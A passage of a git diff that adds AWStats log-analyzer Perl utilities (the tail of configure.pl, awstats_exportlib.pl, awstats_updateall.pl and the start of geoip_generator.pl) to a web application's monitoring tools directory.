"$AWSTATS_PATH/wwwroot"> + Options None + AllowOverride None + Order allow,deny + Allow from all +</Directory> + +EOF + } + close CONF; + $UseAlias=1; + $WebServerChanged=1; + print " AWStats directives added to Apache config file.\n"; +} + +# Define model config file path +# ----------------------------- +my $modelfile=''; +if ($OS eq 'linux') { + if (-f "$AWSTATS_PATH/wwwroot/cgi-bin/awstats.model.conf") { + $modelfile="$AWSTATS_PATH/wwwroot/cgi-bin/awstats.model.conf"; + } + else { + $modelfile="$AWSTATS_MODEL_CONFIG"; + if (! -s $modelfile || ! -w $modelfile) { $modelfile="$AWSTATS_PATH/wwwroot/cgi-bin/awstats.model.conf"; } + } +} +elsif ($OS eq "macosx") { + $modelfile="$AWSTATS_PATH/wwwroot/cgi-bin/awstats.model.conf"; +} +elsif ($OS eq 'windows') { $modelfile="$AWSTATS_PATH\\wwwroot\\cgi-bin\\awstats.model.conf"; } +else { $modelfile="$AWSTATS_PATH\\wwwroot\\cgi-bin\\awstats.model.conf"; } + +# Update model config file +# ------------------------ +if (-s $modelfile && -w $modelfile) { + print "\n-----> Update model config file '$modelfile'\n"; + %ConfToChange=(); + if ($OS eq 'linux' || $OS eq "macosx") { $ConfToChange{'DirData'}="$AWSTATS_DIRDATA_PATH"; } + elsif ($OS eq 'windows') { $ConfToChange{'DirData'}='.'; } + else { $ConfToChange{'DirData'}='.'; } + if ($UseAlias) { + $ConfToChange{'DirCgi'}='/awstats'; + $ConfToChange{'DirIcons'}='/awstatsicons'; + } + update_awstats_config("$modelfile"); + print " File awstats.model.conf updated.\n"; +} + +# Ask if we need to create a config file +#--------------------------------------- +my $site=''; +my $configfile=''; +print "\n-----> Need to create a new config file ?\n"; +print "Do you want me to build a new AWStats config/profile\n"; +print "file (required if first install) [y/N] ? "; +my $bidon=''; +while ($bidon !~ /^[yN]/i) { $bidon=<STDIN>; } +if ($bidon =~ /^y/i) { + + # Ask value for web site name + #---------------------------- + print "\n-----> Define config file name to create\n"; + print "What is the name of your web site or profile analysis ?\n"; + print "Example: www.mysite.com\n"; + print "Example: demo\n"; + ASKCONFIG: + my $bidon=''; + while (! $bidon) { + print "Your web site, virtual server or profile name:\n> "; + $bidon=<STDIN>; chomp $bidon; + if ($bidon =~ /\s/) { print " Space chars are not allowed.\n"; $bidon=''; } + } + $site=$bidon; + + # Define config file path + # ----------------------- + if ($OS eq 'linux') { + print "\n-----> Define config file path\n"; + print "In which directory do you plan to store your config file(s) ?\n"; + print "Default: /etc/awstats\n"; + my $bidon=''; + print "Directory path to store config file(s) (Enter for default):\n> "; + $bidon=<STDIN>; chomp $bidon; + if (! $bidon) { $bidon = "/etc/awstats"; } + my $configdir=$bidon; + if (! -d $configdir) { + # Create the directory for config files + my $mkdirok=mkdir "$configdir", 0755; + if (! $mkdirok) { error("Failed to create directory '$configdir', required to store config files."); } + } + $configfile="$configdir/awstats.$site.conf"; + } + elsif ($OS eq "macosx") { $configfile="$AWSTATS_PATH/wwwroot/cgi-bin/awstats.$site.conf"; } + elsif ($OS eq 'windows') { $configfile="$AWSTATS_PATH\\wwwroot\\cgi-bin\\awstats.$site.conf"; } + else { $configfile="$AWSTATS_PATH\\wwwroot\\cgi-bin\\awstats.$site.conf"; } + + if (-s "$configfile") { + print "Warning: A config file for this name already exists. Choose another one.\n"; + goto ASKCONFIG; + } + + # Create awstats.conf file + # ------------------------ + print "\n-----> Create config file '$configfile'\n"; + if (-s $configfile) { print " Config file already exists. No overwrite possible on existing config files.\n"; } + else { + %ConfToChange=(); + if ($OS eq 'linux' || $OS eq "macosx") { $ConfToChange{'DirData'}="$AWSTATS_DIRDATA_PATH"; } + if ($OS eq 'windows') { $ConfToChange{'DirData'}='.'; } + if ($UseAlias) { + $ConfToChange{'DirCgi'}='/awstats'; + $ConfToChange{'DirIcons'}='/awstatsicons'; + } + $ConfToChange{'SiteDomain'}="$site"; + my $sitewithoutwww=lc($site); $sitewithoutwww =~ s/^www\.//i; + $ConfToChange{'HostAliases'}="$sitewithoutwww www.$sitewithoutwww 127.0.0.1 localhost"; + update_awstats_config("$modelfile","$configfile"); + } + +} + + +# Restart Apache if change were made +# ---------------------------------- +if ($WebServerChanged) { + if ($OS eq 'linux') { + if (-f "/etc/debian_version") { + # We are on debian + my $command="/etc/init.d/apache restart"; + print "\n-----> Restart Web server with '$command'\n"; + my $ret=`$command`; + print "$ret"; + } elsif (-x "/sbin/service") { + # We are not on debian + my $command="/sbin/service httpd restart"; + print "\n-----> Restart Web server with '$command'\n"; + my $ret=`$command`; + print "$ret"; + } else { + print "\n-----> Don't forget to restart manually your web server\n"; + } + } + elsif ($OS eq 'macosx') { + print "\n-----> Restart Web server with '/usr/sbin/apachectl restart'\n"; + my $ret=`/usr/sbin/apachectl restart`; + print "$ret"; + } + elsif ($OS eq 'windows') { + foreach my $key (keys %ApachePath) { + if (-f "$key/bin/Apache.exe") { + print "\n-----> Restart Apache with '\"$key/bin/Apache.exe\" -k restart'\n"; + my $ret=`"$key/bin/Apache.exe" -k restart`; + } + } + } + else { + foreach my $key (keys %ApachePath) { + if (-f "$key/bin/Apache.exe") { + print "\n-----> Restart Apache with '\"$key/bin/Apache.exe\" -k restart'\n"; + my $ret=`"$key/bin/Apache.exe" -k restart`; + } + } + } +} + + +# TODO +# Scan logorate for a log file +# If apache log has a logrotate log found, we create a config and add line in prerotate +# prerotate +# ... +# endscript +# If not found + + +# Schedule awstats update process +# ------------------------------- +print "\n-----> Add update process inside a scheduler\n"; +if ($OS eq 'linux' || $OS eq "macosx") { + print "Sorry, configure.pl does not support automatic add to cron yet.\n"; + print "You can do it manually by adding the following command to your cron:\n"; + print "$AWSTATS_CGI_PATH/awstats.pl -update -config=".($site?$site:"myvirtualserver")."\n"; + print "Or if you have several config files and prefer having only one command:\n"; + print "$AWSTATS_PATH/tools/awstats_updateall.pl now\n"; + print "Press ENTER to continue... "; + $bidon=<STDIN>; +} +elsif ($OS eq 'windows') { + print "Sorry, for Windows users, if you want to have statistics to be\n"; + print "updated on a regular basis, you have to add the update process\n"; + print "in a scheduler task manually (See AWStats docs/index.html).\n"; + print "Press ENTER to continue... "; + $bidon=<STDIN>; +} +else { + print "Sorry, if you want to have statistics to be\n"; + print "updated on a regular basis, you have to add the update process\n"; + print "in a scheduler task manually (See AWStats docs/index.html).\n"; + print "Press ENTER to continue... "; + $bidon=<STDIN>; +} + +#print "\n-----> End of configuration\n"; +print "\n\n"; +if ($site) { + print "A SIMPLE config file has been created: $configfile\n"; + print "You should have a look inside to check and change manually main parameters.\n"; + print "You can then manually update your statistics for '$site' with command:\n"; + print "> perl awstats.pl -update -config=$site\n"; + if (scalar keys %ApacheConfPath) { + print "You can also read your statistics for '$site' with URL:\n"; + print "> http://localhost/awstats/awstats.pl?config=$site\n"; + } + else { + print "You can also build static report pages for '$site' with command:\n"; + print "> perl awstats.pl -output=pagetype -config=$site\n"; + } + print "\n"; +} +else { + print "No config file was built. You can run this tool later to build as\n"; + print "much config/profile files as you want.\n"; + print "Once you have a config/profile file, for example 'awstats.demo.conf',\n"; + print "You can manually update your statistics for 'demo' with command:\n"; + print "> perl awstats.pl -update -config=demo\n"; + if (scalar keys %ApacheConfPath) { + print "You can also read your statistics for 'demo' with URL:\n"; + print "> http://localhost/awstats/awstats.pl?config=demo\n"; + } + else { + print "You can also build static report pages for 'demo' with command:\n"; + print "> perl awstats.pl -output=pagetype -config=demo\n"; + } + print "\n"; +} +print "Press ENTER to finish...\n"; +$bidon=<STDIN>; + + +0; # Do not remove this line diff --git a/src/main/webapp/monitoramento/tools/awstats_exportlib.pl b/src/main/webapp/monitoramento/tools/awstats_exportlib.pl new file mode 100644 index 0000000..426cf55 --- /dev/null +++ b/src/main/webapp/monitoramento/tools/awstats_exportlib.pl @@ -0,0 +1,370 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# Export lib data values to a text files to allow to use AWStats robots, +# os, browsers, search_engines database with other log analyzers +#----------------------------------------------------------------------------- +# $Revision: 1.6 $ - $Author: eldy $ - $Date: 2010/01/20 17:39:20 $ + +#use warnings; # Must be used in test mode only. This reduce a little process speed +#use diagnostics; # Must be used in test mode only. This reduce a lot of process speed +use strict;no strict "refs"; + + + +#----------------------------------------------------------------------------- +# Defines +#----------------------------------------------------------------------------- +use vars qw/ $REVISION $VERSION /; +my $REVISION='$Revision: 1.6 $'; $REVISION =~ /\s(.*)\s/; $REVISION=$1; +my $VERSION="5.1 (build $REVISION)"; + +# ---------- Init variables ------- +# Constants +use vars qw/ +$DEBUGFORCED +/; +$DEBUGFORCED=0; # Force debug level to log lesser level into debug.log file (Keep this value to 0) +# Running variables +use vars qw/ +$DIR $PROG $Extension +$Debug +$DebugResetDone +/; +$DIR=$PROG=$Extension=''; +$Debug=0; +$DebugResetDone=0; +use vars qw/ +$LevelForRobotsDetection $LevelForBrowsersDetection $LevelForOSDetection $LevelForRefererAnalyze +$LevelForSearchEnginesDetection $LevelForKeywordsDetection +/; +($LevelForRobotsDetection, $LevelForBrowsersDetection, $LevelForOSDetection, $LevelForRefererAnalyze, +$LevelForSearchEnginesDetection, $LevelForKeywordsDetection)= +(2,1,1,1,1,1); +use vars qw/ +$DirLock $DirCgi $DirData $DirIcons $DirLang $AWScript $ArchiveFileName +$AllowAccessFromWebToFollowingIPAddresses $HTMLHeadSection $HTMLEndSection $LinksToWhoIs $LinksToIPWhoIs +$LogFile $LogFormat $LogSeparator $Logo $LogoLink $StyleSheet $WrapperScript $SiteDomain +/; +($DirLock, $DirCgi, $DirData, $DirIcons, $DirLang, $AWScript, $ArchiveFileName, +$AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection, $HTMLEndSection, $LinksToWhoIs, $LinksToIPWhoIs, +$LogFile, $LogFormat, $LogSeparator, $Logo, $LogoLink, $StyleSheet, $WrapperScript, $SiteDomain)= +("","","","","","","","","","","","","","","","","","","",""); +use vars qw/ +$QueryString $LibToExport $ExportFormat +/; +($QueryString, $LibToExport, $ExportFormat)= +('','',''); +# ---------- Init arrays -------- +use vars qw/ +@RobotsSearchIDOrder_list1 @RobotsSearchIDOrder_list2 @RobotsSearchIDOrder_listgen +@SearchEnginesSearchIDOrder_list1 @SearchEnginesSearchIDOrder_list2 @SearchEnginesSearchIDOrder_listgen +@BrowsersSearchIDOrder @OSSearchIDOrder @WordsToExtractSearchUrl @WordsToCleanSearchUrl +@WormsSearchIDOrder +@RobotsSearchIDOrder @SearchEnginesSearchIDOrder +/; +@RobotsSearchIDOrder = @SearchEnginesSearchIDOrder = (); +# ---------- Init hash arrays -------- +use vars qw/ +%BrowsersHashIDLib %BrowsersHashIcon %BrowsersHereAreGrabbers +%DomainsHashIDLib +%MimeHashLib %MimeHashIcon %MimeHashFamily +%OSHashID %OSHashLib +%RobotsHashIDLib +%SearchEnginesHashID %SearchEnginesHashLib %SearchEnginesKnownUrl %NotSearchEnginesKeys +%WormsHashID %WormsHashLib +/; + + + +#----------------------------------------------------------------------------- +# Functions +#----------------------------------------------------------------------------- + +#------------------------------------------------------------------------------ +# Function: Write error message and exit +# Parameters: $message $secondmessage $thirdmessage $donotshowsetupinfo +# Input: $LogSeparator $LogFormat +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub error { + my $message=shift||""; + my $secondmessage=shift||""; + my $thirdmessage=shift||""; + my $donotshowsetupinfo=shift||0; + if ($Debug) { debug("$message $secondmessage $thirdmessage",1); } + print "$message"; + print "\n"; + exit 1; +} + +#------------------------------------------------------------------------------ +# Function: Write debug message and exit +# Parameters: $string $level +# Input: $Debug = required level $DEBUGFORCED = required level forced +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub debug { + my $level = $_[1] || 1; + if ($level <= $DEBUGFORCED) { + my $debugstring = $_[0]; + if (! $DebugResetDone) { open(DEBUGFORCEDFILE,"debug.log"); close DEBUGFORCEDFILE; chmod 0666,"debug.log"; $DebugResetDone=1; } + open(DEBUGFORCEDFILE,">>debug.log"); + print DEBUGFORCEDFILE localtime(time)." - $$ - DEBUG $level - $debugstring\n"; + close DEBUGFORCEDFILE; + } + if ($level <= $Debug) { + my $debugstring = $_[0]; + print localtime(time)." - DEBUG $level - $debugstring\n"; + } +} + + +#------------------------------------------------------------------------------ +# Function: Load the reference databases +# Parameters: None +# Input: $DIR +# Output: Arrays and Hash tables are defined +# Return: None +#------------------------------------------------------------------------------ +sub Read_Ref_Data { + # Check lib files in common possible directories : + # Windows : "${DIR}lib" (lib in same dir than awstats.pl) + # Debian package : "/usr/share/awstats/lib" + # Other possible directories : "./lib" + my $lib=shift; + my $dir=$lib; + $lib=~ s/^.*[\\\/]//; + $dir =~ s/[^\\\/]+$//; $dir =~ s/[\\\/]+$//; + debug("Lib: $lib, Dir: $dir"); + my @PossibleLibDir=("$dir","{DIR}lib","/usr/share/awstats/lib","./lib"); + + my %FilePath=(); + my @FileListToLoad=(); + push @FileListToLoad, "$lib"; + foreach my $file (@FileListToLoad) { + foreach my $dir (@PossibleLibDir) { + my $searchdir=$dir; + if ($searchdir && (!($searchdir =~ /\/$/)) && (!($searchdir =~ /\\$/)) ) { $searchdir .= "/"; } + if (! $FilePath{$file}) { + if (-s "${searchdir}${file}") { + $FilePath{$file}="${searchdir}${file}"; + if ($Debug) { debug("Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]"); } + # push @INC, "${searchdir}"; require "${file}"; + require "$FilePath{$file}"; + } + } + } + if (! $FilePath{$file}) { + my $filetext=$file; $filetext =~ s/\.pm$//; $filetext =~ s/_/ /g; + &error("Error: Can't read file \"$file\".\nCheck if file is in ".($PossibleLibDir[0])." directory and is readable."); + } + } +} + +#------------------------------------------------------------------------------ +# Function: Unregex a string +# Parameters: String +# Input: - +# Output: - +# Return: Unregexed string +#------------------------------------------------------------------------------ +sub unregex { + my $ss=shift; + $ss=~s/\\//g; + return $ss; +} + +#------------------------------------------------------------------------------ +# Function: Unregex a keyword code extractor +# Parameters: String +# Input: - +# Output: - +# Return: Unregexed string +#------------------------------------------------------------------------------ +sub unregexkeywordcode { + my $ss=shift; + my $firstoneonly=shift||0; + my @xx=split(/\|/,$ss); + my @ll=map { s/[\(\)]//g; $_; } @xx; + if ($firstoneonly) { return $ll[0]; } + return join(',',@ll); +} + + + +#------------------------------------------------------------------------------ +# MAIN +#------------------------------------------------------------------------------ +($DIR=$0) =~ s/([^\/\\]*)$//; ($PROG=$1) =~ s/\.([^\.]*)$//; $Extension=$1; + +my @AllowedArgs=('-lib','-exportformat','-debug'); + +$QueryString=""; +for (0..@ARGV-1) { + if ($_ > 0) { $QueryString .= "&"; } + my $NewLinkParams=$ARGV[$_]; $NewLinkParams =~ s/^-+//; $NewLinkParams =~ s/\s/%20/g; + $QueryString .= "$NewLinkParams"; +} +$ExportFormat="text"; +if ($QueryString =~ /lib=([^\s&]+)/i) { $LibToExport="$1"; } +if ($QueryString =~ /exportformat=([^\s&]+)/i) { $ExportFormat="$1"; } +if ($QueryString =~ /debug=(\d+)/i) { $Debug=$1; } + +if ($Debug) { + debug("$PROG - $VERSION - Perl $^X $]",1); + debug("QUERY_STRING=$QueryString",2); +} + +if (! $LibToExport || ! $ExportFormat) { + print "----- $PROG $VERSION (c) Laurent Destailleur -----\n"; + print "$PROG is a tool to export AWStats lib (Robots, Os, Browsers, search\n"; + print "engines database) to text files. This allow you to use AWStats lib with some\n"; + print "other log analyzers (to enhance their capabilities or to make comparison).\n"; + print "$PROG comes with ABSOLUTELY NO WARRANTY. It's a free software distributed\n"; + print "with a GNU General Public License (See LICENSE file for details).\n"; + print "\n"; + print "Syntax: $PROG.$Extension -lib=/awstatslibpath/libfile.pm [-exportformat=format]\n"; + print "\n"; + print "Where format can be:\n"; + print " text (default)\n"; + print " webalizer\n"; + print " analog\n"; + print "\n"; + exit 2; +} + +&Read_Ref_Data($LibToExport); + + +my $libisexportable=0; + +# Export data +#------------ + +if ($LibToExport =~ /browsers/) { + foreach my $key (@BrowsersSearchIDOrder) { + if ($ExportFormat eq 'text') { + print "$key\t$BrowsersHashIDLib{$key}\n"; + } + if ($ExportFormat eq 'webalizer') { + print "GroupAgent\t$key\n"; + } + if ($ExportFormat eq 'analog') { + print "Analog does not support self-defined browsers.\nUse 'text' export format if you want an export list of AWStats Browsers.\n"; + last; + } + } + $libisexportable=1; +} + +if ($LibToExport =~ /mime/) { + if ($ExportFormat eq 'analog') { + foreach my $key (sort keys %MimeHashFamily) { + if ($MimeHashFamily{$key} =~ /(text|page|script|document)/) { print "PAGEINCLUDE *.$key\n"; } + } + } + foreach my $key (sort keys %MimeHashFamily) { + if ($ExportFormat eq 'text') { + print "$key\t$MimeHashLib{$MimeHashFamily{$key}}\n"; + } + if ($ExportFormat eq 'webalizer') { + print "Webalizer does not support self-defined mime types.\nUse 'text' export format if you want an export list of AWStats Mime types.\n"; + last; + } + if ($ExportFormat eq 'analog') { + print "TYPEALIAS .$key \"$key [$MimeHashLib{$MimeHashFamily{$key}}]\"\n"; + } + } + $libisexportable=1; +} + +if ($LibToExport =~ /operating_systems/) { + foreach my $key (sort keys %OSHashLib) { + if ($ExportFormat eq 'text') { + print "Feature not ready yet\n"; + last; + } + if ($ExportFormat eq 'webalizer') { + print "Webalizer does not support self-defined added OS.\nUse 'text' export format if you want an export list of AWStats OS.\n"; + last; + } + if ($ExportFormat eq 'analog') { + print "Analog does not support self-defined added OS.\nUse 'text' export format if you want an export list of AWStats OS.\n"; + last; + } + } + $libisexportable=1; +} + +if ($LibToExport =~ /robots/) { + my %robotlist=(); + + my @list; + # Init RobotsSearchIDOrder required for update process + @list=(); + foreach (1..2) { push @list,"list$_"; } + push @list,"listgen"; + foreach my $key (@list) { + push @RobotsSearchIDOrder,@{"RobotsSearchIDOrder_$key"}; + } + + foreach my $key (@RobotsSearchIDOrder) { + if ($ExportFormat eq 'text') { + print "$key\t$RobotsHashIDLib{$key}\n"; + } + if ($ExportFormat eq 'webalizer') { + print "GroupAgent\t$key\n"; + } + if ($ExportFormat eq 'analog') { + print "ROBOTINCLUDE REGEXPI:$key\n"; + } + } + $libisexportable=1; +} + +if ($LibToExport =~ /search_engines/) { + + my @list; + # Init SearchEnginesIDOrder required for update process + @list=(); + foreach (1..2) { push @list,"list$_"; } + push @list,"listgen"; # Always added + foreach my $key (@list) { + push @SearchEnginesSearchIDOrder,@{"SearchEnginesSearchIDOrder_$key"}; + } + + foreach my $key (@SearchEnginesSearchIDOrder) { + if ($ExportFormat eq 'text') { + print "$key\t$SearchEnginesKnownUrl{$SearchEnginesHashID{$key}}\t$SearchEnginesHashLib{$SearchEnginesHashID{$key}}\n"; + } + if ($ExportFormat eq 'webalizer') { + my $urlkeywordsyntax=$SearchEnginesKnownUrl{$SearchEnginesHashID{$key}}; + $urlkeywordsyntax=&unregexkeywordcode($urlkeywordsyntax,1); + if (! $urlkeywordsyntax) { next; } # This has no keywordextractcode + my $newkey=&unregex($key); + if ($newkey =~ /[\[\]\(\)\|\?\*\+]/) { next; } # This was a regex value that i can't clean + print "SearchEngine\t$newkey\t$urlkeywordsyntax\n"; + print "GroupReferrer\t$newkey\t$SearchEnginesHashLib{$SearchEnginesHashID{$key}}\n"; + } + if ($ExportFormat eq 'analog') { + my $urlkeywordsyntax=$SearchEnginesKnownUrl{$SearchEnginesHashID{$key}}; + $urlkeywordsyntax=~s/=$//; + $urlkeywordsyntax=&unregexkeywordcode($urlkeywordsyntax); + if (! $urlkeywordsyntax) { next; } # This has no keywordextractcode + my $newkey=&unregex($key); + if ($newkey =~ /[\[\]\(\)\|\?\*\+]/) { next; } # This was a regex value that i can't clean + print "SEARCHENGINE http://*$newkey*/* $urlkeywordsyntax\n"; + } + } + $libisexportable=1; +} + +if (! $libisexportable) { + print "Export for AWStats lib '$LibToExport' is not supported in this tool version.\n"; +} + + +0; # Do not remove this line + diff --git a/src/main/webapp/monitoramento/tools/awstats_updateall.pl b/src/main/webapp/monitoramento/tools/awstats_updateall.pl new file mode 100644 index 0000000..569b03e --- /dev/null +++ b/src/main/webapp/monitoramento/tools/awstats_updateall.pl @@ -0,0 +1,168 @@ +#!/usr/bin/perl +#------------------------------------------------------------------------------ +# Launch update process for all config files found in a particular directory. +# See COPYING.TXT file about AWStats GNU General Public License. +#------------------------------------------------------------------------------ +# $Revision: 1.15 $ - $Author: eldy $ - $Date: 2006/07/23 22:57:48 $ + + +#------------------------------------------------------------------------------ +# Defines +#------------------------------------------------------------------------------ +my $REVISION='$Revision: 1.15 $'; $REVISION =~ /\s(.*)\s/; $REVISION=$1; +my $VERSION="1.0 (build $REVISION)"; + +# Default value of DIRCONFIG +my $DIRCONFIG = "/etc/awstats"; + +my $Debug=0; + +my $Awstats='awstats.pl'; + +my $AwstatsDir=''; +my $AwstatsProg=''; +my $LastLine=''; + + + +#------------------------------------------------------------------------------ +# Functions +#------------------------------------------------------------------------------ + +#------------------------------------------------------------------------------ +# Function: Write error message and exit +# Parameters: $message +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub error { + print "Error: $_[0].\n"; + exit 1; +} + + +#------------------------------------------------------------------------------ +# Function: Write debug message and exit +# Parameters: $string $level +# Input: %HTMLOutput $Debug=required level $DEBUGFORCED=required level forced +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub debug { + my $level = $_[1] || 1; + if ($Debug >= $level) { + my $debugstring = $_[0]; + if ($ENV{"GATEWAY_INTERFACE"}) { $debugstring =~ s/^ /   /; $debugstring .= "<br />"; } + print localtime(time)." - DEBUG $level - $debugstring\n"; + } +} + + +#------------------------------------------------------------------------------ +# MAIN +#------------------------------------------------------------------------------ + +# Change default value if options are used +my $helpfound=0;my $nowfound=0; +my %confexcluded=(); +for (0..@ARGV-1) { + if ($ARGV[$_] =~ /^-*h/i) { $helpfound=1; last; } + if ($ARGV[$_] =~ /^-*awstatsprog=(.*)/i) { $Awstats="$1"; next; } + if ($ARGV[$_] =~ /^-*configdir=(.*)/i) { $DIRCONFIG="$1"; next; } + if ($ARGV[$_] =~ /^-*excludeconf=(.*)/i) { + #try to get the different files to exclude + @conftoexclude = split(/,/, $1); + foreach (@conftoexclude) { + $confexcluded{"$_"}=1; + } + next; + } + if ($ARGV[$_] =~ /^-*debug=(\d+)/i) { $Debug=$1; next; } + if ($ARGV[$_] =~ /^-*lastline=(\d+)/i) { $LastLine=$1; next; } + if ($ARGV[$_] =~ /^now/i) { $nowfound=1; next; } +} + +# Show usage help +my $DIR; my $PROG; my $Extension; +($DIR=$0) =~ s/([^\/\\]*)$//; ($PROG=$1) =~ s/\.([^\.]*)$//; $Extension=$1; +if (!$nowfound || $helpfound || ! @ARGV) { + print "----- $PROG $VERSION (c) Laurent Destailleur -----\n"; + print "awstats_updateall launches update process for all AWStats config files (except\n"; + print "awstats.model.conf) found in a particular directory, so you can easily setup a\n"; + print "cron/scheduler job. The scanned directory is by default $DIRCONFIG.\n"; + print "\n"; + print "Usage: $PROG.$Extension now [options]\n"; + print "\n"; + print "Where options are:\n"; + print " -awstatsprog=pathtoawstatspl\n"; + print " -configdir=directorytoscan\n"; + print " -excludeconf=conftoexclude[,conftoexclude2,...] (Note: awstats.model.conf is always excluded)\n"; + print "\n"; + exit 0; +} + +debug("Scan directory $DIRCONFIG"); + +# Scan directory $DIRCONFIG +opendir(DIR, $DIRCONFIG) || error("Can't scan directory $DIRCONFIG"); +my @filesindir = grep { /^awstats\.(.*)conf$/ } sort readdir(DIR); +closedir(DIR); + +debug("List of files found :".join(",",@filesindir)); + +# Build file list +my @files=(); +foreach my $file (@filesindir) { + if ($confexcluded{$file}) { next; } # Should be useless + if ($file =~ /^awstats\.(.*)conf$/) { + my $conf=$1; $conf =~ s/\.$//; + if ($conf eq 'model') { next; } + if ($confexcluded{$conf}) { next; } + } + push @files, $file; +} + +debug("List of files qualified :".join(",",@files)); + +# Run update process for each config file found +if (@files) { + # Check if AWSTATS prog is found + my $AwstatsFound=0; + if (-s "$Awstats") { $AwstatsFound=1; } + elsif (-s "/usr/local/awstats/wwwroot/cgi-bin/awstats.pl") { + $Awstats="/usr/local/awstats/wwwroot/cgi-bin/awstats.pl"; + $AwstatsFound=1; + } + if (! $AwstatsFound) { + error("Can't find AWStats program ('$Awstats').\nUse -awstatsprog option to solve this"); + exit 1; + } + # Define AwstatsDir and AwstatsProg + ($AwstatsDir=$Awstats) =~ s/([^\/\\]+)$//; $AwstatsProg=$1; + $AwstatsDir||='.'; $AwstatsDir =~ s/([^\/\\])[\\\/]+$/$1/; + debug("AwstatsDir=$AwstatsDir"); + debug("AwstatsProg=$AwstatsProg"); + + foreach (@files) { + if ($_ =~ /^awstats\.(.*)conf$/) { + my $domain = $1||"default"; $domain =~ s/\.$//; + # Define command line + my $command="\"$AwstatsDir/$AwstatsProg\" -update -config=$domain"; + $command.=" -configdir=\"$DIRCONFIG\""; + if ($LastLine) + { + $command.=" -lastline=$LastLine"; + } + # Run command line + print "Running '$command' to update config $domain\n"; + my $output = `$command 2>&1`; + print "$output\n"; + } + } +} else { + print "No AWStats config file found in $DIRCONFIG\n"; +} + +0; # Do not remove this line + diff --git a/src/main/webapp/monitoramento/tools/geoip_generator.pl b/src/main/webapp/monitoramento/tools/geoip_generator.pl new file mode 100644 index 0000000..4b9c02d --- /dev/null +++ b/src/main/webapp/monitoramento/tools/geoip_generator.pl @@ -0,0 +1,481 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# Generates override files for the GEOIP databases for a given IP range +# This tool is part of AWStats log analyzer but can be use +# alone for any other log analyzer. +# See COPYING.TXT file about AWStats GNU General Public License. +#----------------------------------------------------------------------------- +# $Revision: 1.1 $ - $Author: eldy $ - $Date: 2010/04/17 17:57:58 $ + +use strict; no strict "refs"; +use Switch; + +#------------------------------------------------------------------------------ +# Defines +#------------------------------------------------------------------------------ +my $REVISION='$Revision: 1.1 $'; $REVISION =~ /\s(.*)\s/; $REVISION=$1; +my $VERSION="0.5 (build $REVISION)"; + +use vars qw/ +$DirData +/; + +# Variables +my %temp = {}; +my $SiteConfig = ""; +my $Output = ""; +my $IPStart = ""; +my $IPEnd = ""; +my $DBType = ""; +my $OutputDir = ""; +my $Debug = 0; +my $Overwrite = 0; +my $Fields = ""; +my $DIR=""; +my $PROG; +my $FileConfig; +my $DirData; + +my @Values = (); + +# each array entry consists of the commandline name and the pluginname +my %Types = ( + lc("GeoIP") => "geoip", + lc("GeoIPCity") => "geoip_city_maxmind", + lc("GeoIPCityLite") => "geoip_city_maxmind", + lc("GeoIPRegion") => "geoip_region_maxmind", + lc("GeoIPOrg") => "geoip_org_maxmind", + lc("GeoIPASN") =>"geoip_asn_maxmind" + ); + +#----------------------------------------------------------------------------- +# Functions +#----------------------------------------------------------------------------- + +#------------------------------------------------------------------------------ +# Function: Write an error message and exit +# Parameters: $message +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub error { + print "Error: $_[0].\n"; + exit 1; +} + +#------------------------------------------------------------------------------ +# Function: Write a debug message +# Parameters: $message +# Input: $Debug +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub debug { + my $level = $_[1] || 1; + if ($Debug >= $level) { + my $debugstring = $_[0]; + print "DEBUG $level - ".localtime(time())." : $debugstring\n"; + } +} + +#------------------------------------------------------------------------------ +# Function: Write a warning message +# Parameters: $message +# Input: $Debug +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub warning { + my $messagestring=shift; + if ($Debug) { debug("$messagestring",1); } + print "$messagestring\n"; +} + +#------------------------------------------------------------------------------ +# Function: CL - returns just the root name of the config file. I.e. if the +# site config name is "awstats.conf" this will return "awstats" +# Parameters: - +# Input: $SiteConfig +# Output: String with the root config name +# Return: - +#------------------------------------------------------------------------------ +sub Get_Config_Name{ + my $temp = shift; + my $idx = -1; + # check for slash + $idx = rindex($temp, "/"); + if ($idx > -1){ $temp = substr($temp, $idx+1);} + else{ + $idx = rindex($temp, "\\"); + if ($idx > -1){ $temp = substr($temp, $idx+1);} + } + # get the dot + $idx = rindex($temp, "."); + if ($idx > -1){ $temp = substr($temp, 0, $idx);} + return $temp; +} + +#------------------------------------------------------------------------------ +# Function: Read config file +# Parameters: None or configdir to scan +# Input: $DIR $PROG $SiteConfig +# Output: Global variables +# Return: - +#------------------------------------------------------------------------------ +sub Read_Config { + # Check config file in common possible directories : + # Windows : "$DIR" (same dir than awstats.pl) + # Standard, Mandrake and Debian package : "/etc/awstats" + # Other possible directories : "/usr/local/etc/awstats", "/etc" + # FHS standard, Suse package : "/etc/opt/awstats" + my $configdir=shift; + my @PossibleConfigDir=(); + my $FileSuffix; + + # if an output was specified, then skip this + if (!($Output eq '')){return;} + if ($configdir) { @PossibleConfigDir=("$configdir"); } + else { @PossibleConfigDir=("$DIR","/etc/awstats","/usr/local/etc/awstats","/etc","/etc/opt/awstats"); } + + # Open config file + $FileConfig=$FileSuffix=''; + foreach my $dir (@PossibleConfigDir) { + my $searchdir=$dir; + if ($searchdir && $searchdir !~ /[\\\/]$/) { $searchdir .= "/"; } + if (open(CONFIG,"${searchdir}awstats.$SiteConfig.conf")) { + $FileConfig="${searchdir}awstats.$SiteConfig.conf"; + $FileSuffix=".$SiteConfig"; + last; + } + if (open(CONFIG,"${searchdir}awstats.conf")) { + $FileConfig="${searchdir}awstats.conf"; + $FileSuffix=''; + last; + } + if (open(CONFIG,"$SiteConfig")) { + $FileConfig="$SiteConfig"; + $FileSuffix=''; + last; + } + } + if (! $FileConfig) { error("Couldn't open config file \"awstats.$SiteConfig.conf\" nor \"awstats.conf\" nor \"$SiteConfig.conf\" after searching in path \"".join(',',@PossibleConfigDir)."\": $!"); } + + # Analyze config file content and close it + &Parse_Config( *CONFIG , 1 , $FileConfig); + close CONFIG; +} + 